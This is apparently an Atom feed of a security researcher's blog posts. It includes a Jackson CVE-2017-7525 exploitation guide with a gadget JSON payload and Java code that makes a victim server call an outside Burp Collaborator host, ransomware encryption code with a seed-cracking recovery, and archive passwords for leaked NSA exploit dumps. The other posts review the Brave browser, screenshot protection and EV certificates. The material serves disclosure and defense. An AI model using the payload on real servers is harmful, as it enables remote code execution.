Adam Caudill Security Consultant, Researcher, & Software Developer 2017-10-04T17:59:57Z https://adamcaudill.com/feed/atom/ WordPress Adam Caudill <![CDATA[Exploiting the Jackson RCE: CVE-2017-7525]]> https://adamcaudill.com/?p=1218 2017-10-04T17:59:57Z 2017-10-04T17:59:57Z Earlier this year, a vulnerability was discovered in the Jackson data-binding library, a library for Java that allows developers to easily serialize Java objects to JSON and vice versa, that allowed an attacker to exploit deserialization to achieve Remote Code Execution on the server. This vulnerability didn’t seem to get much attention, and even less… Continue reading Exploiting the Jackson RCE: CVE-2017-7525

The post Exploiting the Jackson RCE: CVE-2017-7525 appeared first on Adam Caudill.

]]>
Earlier this year, a vulnerability was discovered in the Jackson data-binding library, a library for Java that allows developers to easily serialize Java objects to JSON and vice versa, that allowed an attacker to exploit deserialization to achieve Remote Code Execution on the server. This vulnerability didn’t seem to get much attention, and even less documentation. Given that this is an easily exploited Remote Code Execution vulnerability with little documentation, I’m sharing my notes on it.

What To Look For

There are a couple of ways to use Jackson, the simplest, and likely most common, is to perform a binding to a single object, pulling the values from the JSON and setting the properties on the associated Java object. This is simple, straightforward, and likely not exploitable. Here’s a sample of what that type of document looks like:

{
  "name" : "Bob", "age" : 13,
  "other" : {
     "type" : "student"
  }
}

What we are interested in, is a bit different – in some cases1 you are create arbitrary objects, and you will see their class name in the JSON document. If you see this, it should raise an immediate red flag. Here’s a sample of what these look like:

{
  "@class":"MyApp.Obj",
  val:[
    "java.lang.Long",
    1
  ]
}

To determine if this really is Jackson that you are seeing, one technique is (if detailed error messages are available) to provide invalid input and look for references to either of these:

  • com.fasterxml.jackson.databind
  • org.codehaus.jackson.map

Building An Exploit

The ability to create arbitrary objects though, does come with some limitations: the most important of which is that Jackson requires a default constructor (no arguments), so some things that seem like obvious choices (i.e. java.lang.ProcessBuilder) aren’t an option. There are some suggestions on techniques in the paper from Moritz Bechler, though the technique pushed in the paper is interesting (the focus is on loading remote objects from another server), it didn’t meet my needs. There are other, simple options available.

Helpfully, the project gave us a starting point to build an effective exploit in one of their unit tests:

{'id': 124,
 'obj':[ 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',
  {
    'transletBytecodes' : [ 'AAIAZQ==' ],
    'transletName' : 'a.b',
    'outputProperties' : { }
  }
 ]
}

This code leverages a well-known ‘gadget’ to create an object that will accept a compile Java object (via transletBytecodes) and execute it as soon as outputProperties is accessed. This creates a very simple, straightforward technique to exploit this vulnerability.

We can supply a payload to this to prove that we have execution, and we are done.

Building The Payload

In this case, the goal is to prove that we have execution, and the route I went is to have the server issue a GET request to Burp Collaborator. This can be done easily with the following sample code:

import java.io.*;
import java.net.*;

public class Exploit extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
  public Exploit() throws Exception {
    StringBuilder result = new StringBuilder();
    URL url = new URL("http://[your-url].burpcollaborator.net");
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    String line;
    while ((line = rd.readLine()) != null) {
      result.append(line);
    }
    rd.close();
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
  }

  @Override
  public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handler)  {
  }
}

This code can be compiled with the javac compiler, and then the resulting .class file should be Base64 encoded, and provided to the transletBytecodes field in the JSON document. As soon as the document is processed, it will create the object, load the code, and execute it. You may still see errors from code failing after the code executes, such as from type-mismatches or the like.

Limiting Attack Surface

This is just one technique to exploit this flaw, there are many others available. To mitigate the issue, at least in part, Jackson has been modified with a blacklist of types known to be useful gadgets for this type of attack:

  • org.apache.commons.collections.functors.InvokerTransformer
  • org.apache.commons.collections.functors.InstantiateTransformer
  • org.apache.commons.collections4.functors.InvokerTransformer
  • org.apache.commons.collections4.functors.InstantiateTransformer
  • org.codehaus.groovy.runtime.ConvertedClosure
  • org.codehaus.groovy.runtime.MethodClosure
  • org.springframework.beans.factory.ObjectFactory
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • org.apache.xalan.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • java.util.logging.FileHandler
  • java.rmi.server.UnicastRemoteObject
  • org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor
  • org.springframework.beans.factory.config.PropertyPathFactoryBean
  • com.mchange.v2.c3p0.JndiRefForwardingDataSource
  • com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

There are likely others that can be used in similar ways to gain code execution that haven’t become well-known yet, so this doesn’t eliminate the problem, it just makes it less likely.

Required Reading & References

To fully understand this vulnerability, there are a few things that you should read:


  1. To exploit this issue, the user of the library must have enabled Default Typing (mapper.enableDefaultTyping), if this hasn’t been done, then the exploit here doesn’t work, as you aren’t able to create arbitrary objects. 

The post Exploiting the Jackson RCE: CVE-2017-7525 appeared first on Adam Caudill.

]]>
Adam Caudill <![CDATA[Breaking the NemucodAES Ransomware]]> https://adamcaudill.com/?p=1184 2017-07-13T01:47:08Z 2017-07-13T01:23:13Z The Nemucod ransomware has been around, in various incarnations, for some time. Recently a new variant started spreading via email claiming to be from UPS. This new version changed how files are encrypted, clearly in an attempt to fix its prior issue of being able to decrypt files without paying the ransom, and as this… Continue reading Breaking the NemucodAES Ransomware

The post Breaking the NemucodAES Ransomware appeared first on Adam Caudill.

]]>
The Nemucod ransomware has been around, in various incarnations, for some time. Recently a new variant started spreading via email claiming to be from UPS. This new version changed how files are encrypted, clearly in an attempt to fix its prior issue of being able to decrypt files without paying the ransom, and as this is a new version, no decryptor was available1. My friends at Savage Security contacted me to help save the data of one of their clients; I immediately began studying the cryptography related portions of the software, while the Savage Security team was busy looking at other portions.

The Code

The code that really matters is in a PHP file2, named after the Bitcoin address that the victim is to pay the ransom to, and stored under the user’s %TEMP% directory. Here’s the bit that matters to us:

if ($stat_files > 0) {
    $db = fopen($fn . ".db", "w");
    foreach ($_SERVER["files"] as $file) {
        $fp = fopen($file, "r+");
        if ($fp === false) continue;
        $trash = "";
        for ($i = 0;$i < 2048;$i++) $trash.= chr(mt_rand(0, 255));
        $key = "";
        for ($i = 0;$i < 128;$i++) $key.= chr(mt_rand(0, 255));
        $aes = new Crypt_AES(CRYPT_AES_MODE_ECB);
        $aes->setKeyLength(128);
        $aes->setKey($key);
        $b = fread($fp, 2048);
        fseek($fp, 0);
        fwrite($fp, substr($trash, 0, strlen($b)));
        fclose($fp);
        $b = $aes->encrypt($b);
        $rsa = new Crypt_RSA();
        $rsa->loadKey($keypub);
        $key = $rsa->encrypt($key);
        fputs($db, $file . "    " . base64_encode($key) . " " . base64_encode($b) . "
");

There are some important things that we see immediately:

  • They generate a unique encryption key for each file.
  • They are using AES-128 in ECB mode.
  • They are using RSA to encrypt the AES-128 key and store it in a .db file (also named after the Bitcoin address).
  • They encrypt the first 2,048 bytes of the file, and then replace it with random data.
  • The .db file contains the path, encrypted AES-128 key, and the encrypted data removed from the file.

The Critical Mistake(s)

If you’ve been to any of my talks on cryptography, you should see an immediate issue with this code. If not, let me point this line out:

for ($i = 0;$i < 128;$i++) $key.= chr(mt_rand(0, 255));

This line creates a 128 byte key to be used to encrypt the file (it seems the developers don’t know bits from bytes), using PHP’s mt_rand function. This function generates random numbers using the Mersenne Twister algorithm, which happens to use a small (32-bit) seed – this is where the fun begins.

Because of this small seed, if we can observe the initial output of mt_rand, we can brute-force the seed and then predict its future output. Thankfully, the developers of Nemucod made this easy for us. If you recall, the first 2,048 bytes of each file are replaced with random data from mt_rand, then the encryption key is generated immediately after. This means that they have given us everything we need.

Using the first few bytes (4 or 5), we can brute-force the seed that mt_rand used3, and by running mt_rand the appropriate number of times, we can create the exact output that the PHP script did when it encrypted the files, revealing the file encryption keys and allowing us to decrypt all of the files.

Cracking the Seed

To get the seed, we need to brute-force all 2^32 possible values, thankfully there’s a handy tool to do this – and do it within a matter of seconds. A few years ago the always impressive Solar Designer released just what we need. This is a simple command-line tool that takes output (in this case the first few bytes of the first file encrypted) and provides the seed that was used.

./php_mt_seed 98 98 0 255  251 251 0 255 47 47 0 255  131 131 0 255
Pattern: EXACT-FROM-256 EXACT-FROM-256 EXACT-FROM-256 EXACT-FROM-256
Found 0, trying 1241513984 - 1275068415, speed 39053601 seeds per second 
seed = 1241912029
Found 1, trying 4261412864 - 4294967295, speed 45989778 seeds per second 
Found 1

Using php_mt_seed, it takes only about a minute to test all of the possible seeds, and identify the correct one. Once we have that, decryption is simple, and we have all of the data back without paying a single cent to the extortionists.

Why Randomness Matters

When it comes to key generation (and many other aspects of cryptography), the use of a secure random number generator is critical. If you look at the documentation for mt_rand, you’ll see this very clear warning:

This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using random_int(), random_bytes(), or openssl_random_pseudo_bytes() instead.

Had the developers heeded this warning, and used a more appropriate method for generating the file encryption keys, this method would not have worked. Had the developers not been so kind as to provide us with output from mt_rand in the files, this would not have worked. It is the developers of Nemucod that made recovering the data trivial, due to the lack of understanding of proper secure techniques4. While I don’t want to aid ransomware authors, this is a well known aspect of cryptography – if you write crypto code without a full understanding of what you are doing, and what you are using, this is what happens.


  1. In the hours before this post was published, Emsisoft released a decryption tool for those hit by this version of Nemucod. 
  2. This ransomware targets Windows users, though the core is written in PHP. The downloader, written in JavaScript, downloads the Windows version of PHP (version 5.6.3) and uses that to execute the PHP file. Yes, this is as crazy as it sounds. 
  3. If mt_rand is not seeded explicitly via mt_srand, PHP will select a random seed, and seed it automatically. In this case, the developers did not explicitly select a seed. 
  4. There may be additional methods here that could be used, but those are beyond the scope of this article. 

The post Breaking the NemucodAES Ransomware appeared first on Adam Caudill.

]]>
Adam Caudill <![CDATA[30 Days of Brave]]> https://adamcaudill.com/?p=1173 2017-05-02T22:38:25Z 2017-05-02T22:38:25Z Brave is a web browser available for multiple platforms that aims to provide additional security and privacy features – plus a novel monetization scheme for publishers. I gave it 30 days to see if it was worth using. I switched on all platforms I use to give it a fair shot, I normally use Chrome… Continue reading 30 Days of Brave

The post 30 Days of Brave appeared first on Adam Caudill.

]]>

Brave is a web browser available for multiple platforms that aims to provide additional security and privacy features – plus a novel monetization scheme for publishers. I gave it 30 days to see if it was worth using. I switched on all platforms I use to give it a fair shot, I normally use Chrome which made the switch less painful, though the results were very much mixed. There are some things I honestly liked about it, some things I really disliked, and at least one thing that just made me mad.

The Good

There are some truly good things about Brave, here are a few that are important to me.

Based on Blink (Chromium)

Brave is built on the Blink engine, the same engine that powers Chromium & Chrome – this gives Brave some of the better security properties of Chrome, and Brave actually uses the Chrome user-agent to pretend to be Chrome. This means that Brave has similar performance and rendering quality to the other Blink browsers, which gives it an edge over Firefox and keeps it on par with Chrome.

The use of Blink is a key to making the switch reasonable, there are no issues with sites breaking, as is so common when switching from one browser to another.

HTTPS Everywhere

Brave integrates HTTPS Everywhere to force connections to use TLS when possible, this is great, though the same can be achieved by using the HTTPS Everywhere plugin. During my time using Brave, it reports having performed over 15,000 TLS upgrades – just on my personal laptop.

Ad Blocking & Payments

Brave takes an interesting view of ads, it includes ad blocking, but also includes Brave Payments (disabled by default), which allows you to give something to the sites you visit most often. I put $5 into it, and let it run for a month – it tracks how much time you spend on each site, and splits up the money between them.

Of all the sites that Brave lists in my top sites, only two are setup to actually receive the payments – this site (which I setup during the testing process), and Archive.org. There are a number of sites that are included that really make little sense – for example, sites like RSA.com, PizzaHut.com, TeeSpring.com, Namecheap.com, Oracle.com, and Eventbrite.com all made the list to be paid. These aren’t content sites, but they all got a share of the money. You can selectively disable certain sites from being included, but that requires watching the list, and making sure that it’s maintained. You don’t have the opportunity to confirm who gets paid before the payment takes place, so make sure you check the list often.

When a payment is made, the money (Bitcoin actually), is transferred to accounts that Brave Software controls, and when (if) a site receives $100 in payments, one of two things happens:

  • If the site has already been setup for payments, the money is transferred to the site’s Bitcoin wallet.
  • If the site isn’t setup, they will attempt to contact them to set up the site so they can receive their money, if they don’t after a period of time, the money is distributed to other sites that are properly setup.

It’s an interesting setup, and somewhat cool to be honest – though does leave a decent amount of money in the control of Brave Software. Will this site ever get $100 in revenue from Brave users? I’m not holding my breath. That means that the money will stay in the control of Brave Software essentially forever.

The ad blocking itself works well, roughly the same you would get from uBlock Origin.

Performance

It’s hard to quantify just how much time is actually saved by using Brave; it’s not just general performance, but the integrated ad blocking that saves bandwidth and processing time. It claims to have saved me 18 minutes on my laptop and 5 minutes on my iPhone.

It does feel a bit faster, but the placebo effect may explain it.

The Bad

There are some things about Brave that just didn’t live up to my expectations, some of these are from a lack of polish – things that will likely be fixed as time goes on, others were more fundamental.

Private Browsing

Like pretty much every major browser today, Brave offers a private browsing feature, but it’s implemented in a way that I find troubling. Typically when you using Private Browsing, a new window is created, and everything in that window is held to a private scope. In Brave, a tab is private – so you mix the scopes, and can easily cross that boundary. When you right-click a link in a private tab, you can open the link in a new private tab, or in a new normal tab. This makes it extremely easy to cross the line, and expose activity that was meant to be isolated.

For me, I often use this feature to separate session scopes, logging into the same site in a normal window, and a different account (or no account) in a private window. This design makes it trivial to take an action under the wrong account. I think they were trying to make things easier, but what they did was make it easy to make mistakes.

Memory Leaks

Brave is leaky, like Titanic kind of leaky. I once left a Twitter tab open over a weekend, when I came back on Monday Brave had consumed every available byte of RAM. So much so, that even killing the process turned out to be impossible and I had to perform a hard reboot. Chrome is known for its high RAM usage, though Brave has pushed it too far.

PDF Handling

Built-in PDF handling is essentially a must these days, and Brave tries here – but ultimately fails. The integrated PDF viewer works well in most cases, unless the PDF is behind a login. In these cases, it fails and requires that the feature be disabled to be able to download them. As changing this setting requires restarting the application, so I eventually just left it off.

Rough Edges

Brave is a perfect setup for a death by a thousand cuts, from oddness with tab management, painful auto-complete in the search / address bar, the inability to search for anything with a period as Brave treats it as a URL, and many others. Much of this will improve as Brave matures, though for now the rough edges are a constant annoyance that make me want to switch back to Chrome. Some I’ve learned to work around, others are still painful every time I run into them.

The Mad

Brave recently published a highly misleading article that painted a very negative view of the standard QUIC protocol, trying to accuse Google of using QUIC as a way to circumvent ad blocking. The article was built on, at best, a significant misunderstand on the part of Brave. The article was later updated, though the update was entirely insufficient to set the record straight, leaving users with a misunderstanding of the technology, and how it applies to Chrome and other browsers.

Whether purely from a lack of understanding, or something else, the issue was poorly handled – they attacked a competitor (one which makes their product possible) without understanding the details they were talking about, mislead users of Chrome and Brave, and failed to accurately update their article to undo their misstatements. There are some people at Brave Software that I greatly respect, so this was shocking for me, and I lost a great deal of respect for the organization as a result.

Overall

Brave is an interesting experiment in how a browser can address privacy concerns, and provide an avenue for monetization; I hope that others in the market look at it and learn from what they do right. The application for iOS feels a lot more polished than the desktop version, and while I’m going to switch back to Chrome as my primary browser, I may keep the iOS version handy.

The post 30 Days of Brave appeared first on Adam Caudill.

]]>
Adam Caudill <![CDATA[Confide, Screenshots, and Imaginary Threats]]> https://adamcaudill.com/?p=1163 2017-04-22T05:20:40Z 2017-04-22T05:20:40Z Recently Vice published a story about a lawsuit against the makers of the ‘secure’ messaging application Confide. This isn’t just a lawsuit, it’s a class-action lawsuit and brought by Edelson PC – an amazingly successful (and sometimes hated1) law firm – this isn’t a simple case. The complaint includes a very important point: Specifically, Confide… Continue reading Confide, Screenshots, and Imaginary Threats

The post Confide, Screenshots, and Imaginary Threats appeared first on Adam Caudill.

]]>

Recently Vice published a story about a lawsuit against the makers of the ‘secure’ messaging application Confide. This isn’t just a lawsuit, it’s a class-action lawsuit and brought by Edelson PC – an amazingly successful (and sometimes hated1) law firm – this isn’t a simple case. The complaint includes a very important point:

Specifically, Confide fails to deliver on two of the three requirements that it espouses as necessary for confidential communications: ephemerality and screenshot protection. […] Confide represents, in no uncertain terms, that its App blocks screenshots. But that isn’t true. Any Confide user accessing the platform through the Windows App can take screenshots of any and all received messages.

This article isn’t about the lawsuit though, it’s about threat modeling and screenshots.

Of Screenshots and Cameras

Preventing screenshots, or at least attempting to, has been around for some time, and was made popular thanks to Snapchat – their client would detect that a screenshot was captured, and using an API call, notify the server that this had happened (unsurprisingly, this API was rarely documented, as none of the third-party clients wanted it), so the sender could be alerted. When this feature was added, technical attacks were discussed by many that were following Snapchat’s attempts at living up to their word – from modifying the binary to not make the API call, to using a proxy server that would block the call to the server.

Yet for all of the technical solutions, there was an easier answer: grab another device with a camera and take a picture.

Many people that work in corporate or other environments that have strict security requirements often carry two mobile devices – if you know (or suspect) that a messaging application will block or report a screenshot, just take a picture of it with your other device. This completely bypasses the technical restriction on screenshots2. It’s simple, it works, and it’s undetectable. Then there are virtual machines – you could run an application in a virtual machine, and capture the screenshot from the host, instead of the guest operating system. Once again, this is effective and undetectable. Then there are numerous others.

Trust Violated

If you can’t trust the person you are talking to, don’t talk to them. If send a message to somebody that contains sensitive statements, and you can’t trust them to keep it private – the only way to ensure that it’s not shared is to simply not send it. There is no technical solution to ensure that a message displayed on a screen is actually ephemeral. This is why high security environments where sensitive (i.e. classified) information may be on display don’t allow cameras or devices with cameras at all.

If a user wants to capture information about a conversation, and there are numerous ways that they are able to do just that, they will get it. If they take a little care, nobody will know that they’ve done it. If they have technical ability (of know somebody that does), then it’ll be effortless and undetectable. Confide may, and should, make changes to address the technical issues with their screenshot protection feature to behave in a more effective way; that said, they will never be able to actually prevent all screenshots.

Screenshot protection is a vain effort; if it’s displayed on screen, it can be captured. People may think that they need it because it’s how they would capture a conversation, but it doesn’t actually provide any effective security. Features like this, and claims that applications implement them, are little more than snake-oil aimed at making consumers believe that an application provides a level of security that isn’t actually possible.


  1. Jay Edelson & team may be hated by some in Silicon Valley – but they have done a lot to protect consumers, and suing over security claims is an important avenue to ensure that companies live up to their promises. My research on Snapchat was cited by the FTC in their action against Snapchat, which I am still very proud of. Needless to say, I favor whatever action is necessary to ensure that companies live up to their promises, and consumers aren’t being sold snake-oil. 
  2. There are theoretical means to complicate this, by using a controlled “flicker” to make it more difficult to capture a useable photo. This comes with various downsides, not the least of which is the high likelihood of giving users a constant headache. 

The post Confide, Screenshots, and Imaginary Threats appeared first on Adam Caudill.

]]>
Adam Caudill <![CDATA[Shadow Brokers, Equation Group, Oh My…]]> https://adamcaudill.com/?p=1141 2017-04-15T14:43:05Z 2017-04-14T22:54:27Z Yet again, a group known as The Shadow Brokers is in the news, with yet another leak from what is widely accepted as the NSA (Equation Group1 in APT terms). This release is, to many, the most important release of this leaked stolen material from the most elite and secretive hacking operation in the world.… Continue reading Shadow Brokers, Equation Group, Oh My…

The post Shadow Brokers, Equation Group, Oh My… appeared first on Adam Caudill.

]]>
NSA / Equation Group

Yet again, a group known as The Shadow Brokers is in the news, with yet another leak from what is widely accepted as the NSA (Equation Group1 in APT terms). This release is, to many, the most important release of this leaked stolen material from the most elite and secretive hacking operation in the world.

This is a collection of a few notes on this highly unusual operation. If you haven’t read this excellent overview of the most recent release by Dan Goodin, you should do that now.

A Brief Timeline

The Shadow Brokers have released material on five occasions2:

August 13, 2016: Equation Group Cyber Weapons Auction – Invitation

A group of files were uploaded to Github (and quickly removed), including a file (“eqgrp-auction-file.tar.xz.gpg”) containing exploits and implants for Linux and similar operating systems, and a file (“eqgrp-free-file.tar.xz.gpg” with a password of theequationgroup) containing exploits and implants for a variety of networking equipment; the latter used as a sample.

October 20, 2016: Message#5 — Trick or Treat?

A second, smaller sample file named “trickortreat.tar.xz.gpg” with a password of payus.

January 13, 2017: MESSAGE FINALE

In what was purported at the time to be their final message, Shadow Brokers released a new file, “equation_drug.tar.xz.gpg” that included files that had been identified by Kaspersky AntiVirus as being Trojan.Win32.EquationDrug.

April 8, 2017: Don’t Forget Your Base

In a only somewhat surprising move, they posted a rambling treatise on US politics and Donald Trump, which included the password (CrDj"(;Va.*NdlnzB9M?@K2)#>deB7mN) for “eqgrp-auction-file.tar.xz.gpg” – the file they tried and failed to sell when they started. This contain the Linux exploits and implants that had been promised, though much of the content was rather old and of little interest.

April 14, 2017: Lost in Translation

Perhaps the most exciting release, as it included the Windows exploits and the Equation Group’s equivalent of Metasploit called FuzzBunch – but the story doesn’t end there, there was a big surprise included. The three files are “windows.tar.xz.gpg“, “odd.tar.xz.gpg“, and “swift.tar.xz.gpg” – with the last containing an unexpected surprise.

Burning Gold

As the community works to analyze the latest dump, going through the exploits trying to identify what they are, and if they are known some very interesting things have been found. ETERNALBLUE appears to be an 0day against Windows XP, Vista, 2003, 2008, 2008R2, and Windows 7 (it’s being reported that Windows 10 is vulnerable as well3) – one can imagine that there is panic in Redmond as Microsoft works to analyze it and prepare a patch. This is just one exploit, there’s also ETERNALCHAMPION, EASYBEE, EASYPI, ECLIPSEDWING, EDUCATEDSCHOLAR, EMERALDTHREAD, EMPHASISMINE, ENGLISHMANSDENTIST, ERRATICGOPHER, ESKIMOROLL, ESTEEMAUDIT, ETERNALROMANCE, ETERNALSYNERGY, EWOKFRENZY, EXPLODINGCAN, and ZIPPYBEER – there’s a lot of work to be done to fully understand the impact and figure out what needs to be fixed. A number of versions of Windows targeted by these exploits are not supported, such as Windows XP, Windows 2003, and Vista – meaning that there’s no patch coming, these systems will remain vulnerable forever.

What’s clear here is, there is some real value in the exploits that have been released (estimated at $2M or more) – and are likely very important to NSA intelligence operations (or at least they would have been till they learned that they had been compromised).

As NSA doesn’t talk about anything if it can be avoided, it’s unlikely that we will ever know what the impact is to their operations. We will likely see just how effective these exploits are though, as criminals work to leverage these exploits in exploit-kits and the like – you can be sure, just because these exploits are known, this certainly isn’t the last we’ll see of them.

The SWIFT Files

While it was known that they had various Windows exploits, they dropped something that is of less interest from a technical perspective, though fascinating from an operational perspective: there’s a collection of operator’s notes relating to attacks on SWIFT. These files include detailed system configurations, passwords, and step by step notes of what was done on the devices that were attacked.

Matt Suiche has done a great job of documenting what’s exposed by this cache, so I won’t repeat that here. If you want a better understanding of how they work, and what they’ve done, I highly suggest reading it.

The Origin

There’s been a great deal of debate about the source of these files, some have suggested that it was an insider, possibly even Harold Thomas Martin, though an insider makes little sense. The data is most likely from a jump-server – a server that NSA operators would push their files to, and connect to targets from. This would explain the type of files and documentation found – and would explain the files that aren’t included, such as source code, training material, and similar files that an insider would have access to, but wouldn’t be stored on a server outside of their network.

One likely scenarios is that a jump-server was captured by another intelligence agency, and the leaks and bizarre rants were part of a political play – though their choices of how to release information has greatly reduced their effectiveness. The SWIFT files could have been positioned as a WikiLeaks-styled bombshell, though was dropped quietly without the fanfare to make news outside of the normal technology publications – while the exploits have a substantial impact, they are of little interest to most people outside of the industry, the SWIFT work on the other hand, could be of much larger significance.

The level of detail about targets, and details from operator logs should allow the NSA to narrow the possible sources; I’m hoping that at some point there’s an official statement about who they believe is releasing these files – though the odds of that happening don’t seem good.


  1. The name Equation Group was coined by Kaspersky, while they didn’t directly state that Equation Group is the NSA (or possibly, just NSA’s TAO group), a close look at the evidence is quite clear. The material released fits with both the signatures of the Equation Group and with a US Government operation. There is some small chance that the attribution is wrong, but the odds of that appear to be quite low. 
  2. From the start of these releases, I’ve maintained an archive of the files, so that they are searchable and browsable. This has made it easy to review the files, and quickly find related files. It’s interesting to say the least. 
  3. Update 2017-04-15: Microsoft has released an update on their review of these exploits; ETERNALBLUE, ETERNALROMANCE, and ETERNALSYNERGY were all addressed in MS17-010 released in March 2017 (the source of the report was not listed). They confirmed the issue impacted Windows 10, and pretty much every other supported version of Windows. 

The post Shadow Brokers, Equation Group, Oh My… appeared first on Adam Caudill.

]]>
Adam Caudill <![CDATA[Looking for value in EV Certificates]]> https://adamcaudill.com/?p=1118 2017-04-09T16:47:06Z 2017-04-09T15:15:27Z When you are looking for TLS (SSL) certificates, there are three different types available, and vary widely by price and level of effort required to acquire them. Which one you choose impacts how your certificate is treated by browsers; the question for today is, are EV certificates worth the money? To answer this, we need… Continue reading Looking for value in EV Certificates

The post Looking for value in EV Certificates appeared first on Adam Caudill.

]]>
When you are looking for TLS (SSL) certificates, there are three different types available, and vary widely by price and level of effort required to acquire them. Which one you choose impacts how your certificate is treated by browsers; the question for today is, are EV certificates worth the money? To answer this, we need to understand what the differences are just what you are getting for your money.

The Three Options

For many, the choice of certificate type has more to do with price than type – and for that matter, not that many people even understand that there are real differences in the types of certificates that a certificate authority (CA) can issue. The key difference between the options is how the requester is verified by the CA prior to issuing the certificate. Here is a brief overview of the options available.

DV (Domain Validation)

Domain Validation is the most common type in use today; for these certificates the CA verifies that the person requesting the certificate has control of the domain, and nothing else. This is done with a number of techniques, such as telling the requester to place a random value in a certain file on the web server. These are also the least expensive, often available for less than the cost of a fast-food meal, or even free from CAs like Let’s Encrypt.

DV certificates are issued with little to no human interaction from the CA, and can often be automated from the requester’s side as well. Protocols such as ACME allow a fully automated request & issuance process, allowing you to easily request and update certificates – the process can be scheduled and handled without a human involved at all.

In the past, HTTPS was viewed as a sign of website trustworthiness; getting a valid HTTPS certificate was too difficult for typical phishing websites. Dhamija et al. challenged 22 people to identify phishing websites, and 17 of them failed to check the connection security indicator during the study. This demonstrated that connection security indicators were ineffective at preventing phishing attacks. Subsequently, HTTPS has ceased to be a useful signal for identifying phishing websites because it is no longer unusual to find malicious websites that support HTTPS.

Source: Rethinking Connection Security Indicators, Felt et al.

The purpose of DV certificates is to enable encrypted connections, it doesn’t validate who is running the domain, or if they are honest, or even if what they do with the domain is legal – the sole purpose is to enable secure connections between the browser and the web server.

OV (Organizational Validation)

An Organizational Validation (also known as High Assurance) certificate is quite a bit more expensive at roughly $200 (though may be as much as $500) per year, and is more complex to request due to additional paperwork involved. The increase in price compared to DV is largely due to the extra work required as part of the verification process; in addition to validating control of the domain, the CA will also verify documents that prove the requester is a legally formed entity (via licenses or incorporation documents).

EV (Extended Validation)

Finally, we have EV, the most expensive at roughly $300 (though may be as much as $1,000) per year, EV certificates require the most detailed verification process, and extend upon the requirements of OV certificates. Documents such as proof of having a bank account, proof of address, more detailed requirements on proof of incorporation, proof that the person requesting the certificate is an employee and properly authorized to request the certificate may be required.

Acquiring an EV certificate is a complex process, which may require not only time and effort from technical employees, but also effort on the part of company executives to produce all of the required documentation.

Of drama and marketing

Thanks to the widely varying price, CAs have an interest in directing customers to more expensive options – OV and EV certificates generate far more profit than DV certificates. Thanks to a few CAs offering free DV certificates, and the introduction of Let’s Encrypt which operates at a massive scale (its market share has gone from 5% to 26% in the last year) – this has led to a race to the bottom on pricing for these certificates, killing the profit in them. This has led to increased attacks by CAs against DV offerings, in an effort to boost OV and EV offerings. The focus of these attacks is primarily around the use of DV certificates in phishing attacks (much has been written about why this isn’t really a problem, so I won’t repeat that fight here.).

The value of OV is questionable at best, and for how it’s used today, it really isn’t any better than DV despite the marketing hype. Much to the chagrin of CAs, OV certificates are given the same treatment that DV certificates receive in browsers – there’s no visible difference between them, so users are completely unaware that you’ve spent the extra money on the OV certificate. CAs have pushed browsers to change this, so that these certificates have additional value to justify the expense, though have had no success in doing so.

EV certificates on the other hand do receive special treatment by browsers:

The green bar with the name and location of the organization (in some browsers) is an exclusive feature of EV certificates, and provide users a way to know who the certificate was issued to. It is this special bar that sets EV apart from the other certificate types, and drives the marketing that makes them sell.

Security: DV vs. OV vs. EV

With a substantial difference in price and marketing, do OV and EV certificates provide better security? No.

No matter how you look at it, no matter how it’s marketed, the fact is that all three certificate types provide the exact same level of security. The only real difference between them is that OV and EV certificates contain an extra identifier that tells the browser which type of certificate it is. The encryption is the same, there’s no change in the security of the connection between the browser and server.

Perhaps the best explanation of why EV certificates don’t actually add any security at a technical level is this 2008 paper, if you haven’t read it, you should.

EV Certificates & Pinning

There is one mechanism available where an EV certificate can increase security1, though not without risk. For CAs that issue their EV certificates from a dedicated intermediate, which isn’t uncommon, sites can use Public Key Pinning (HPKP) to pin the CAs dedicated EV intermediate, ensuring that only EV certificates can be used – and preventing a DV certificate, even from the same CA from being accepted. While the death of HPKP has been predicted, it is quite usable, when great care is taken. HPKP allows a site to pin the key used in specific certificates, so once a browser has seen the direction to only trust certain keys, it will reject any that it sees that don’t match. It’s a very powerful tool, though one I rarely recommend because like many things that offer such power, it is easy to get wrong, and can take a site down for an extended period of time with little ability to recover.

This provides a means to ensure that only certificates issued by a specific, selected, EV intermediate can be used – if an attacker tries to impersonate a site (say, via DNS hijacking), this pin will prevent the browser from accepting just any certificate.

The Identity Argument

The key selling point for OV and EV certificates – both for marketing to customers and the politics of the industry – is that issuance of these certificates involve identity verification. The argument put forward is that you can trust sites that use these certificates more because someone at a CA verified that they are who they claim to be.

This argument relies on one key point: that users know the difference.

The problem with this is, users generally don’t know what that green bar is, or what it means. If it disappeared, would they even notice? Thanks to the special treatment by the browsers, EV certificates do provide the opportunity for users to see that EV certificates are different, but to provide any protection against phishing or similar attacks, users must be aware of its presence, and notice when it isn’t present.

This is the key question, if users are aware, it adds value against phishing attacks, if they aren’t, it doesn’t.

“EV is an anti-phishing defense, although its use is limited by lack of support from popular websites and some major mobile browsers. All major desktop browsers display EV information, but some mobile browsers (including Chrome and Opera for Android) do not display EV information. Older literature suggests that EV indicators may need improvement. Jackson et al. asked study participants to identify phishing attacks and found that “extended validation did not help users defend against either attack”. When testing new security indicators, Sobey et al. concluded that Firefox 3’s EV indicators did not influence decision making for online purchases.”

Source: Rethinking Connection Security Indicators, Felt et al.

Some fraction of users will understand this, and be aware of changes – for this group of users, it adds value because it’s another piece of information that allows them to evaluate how much they trust the site. Though research indicates that few understand the difference, and thus the impact is minimal.

At this point it should be clear, the value proposition for EV certificates isn’t in technical security, it’s a potential boost to user awareness – the opportunity it gives users to make a more informed decision before they provide sensitive information is an edge over OV and DV certificates.

Overall

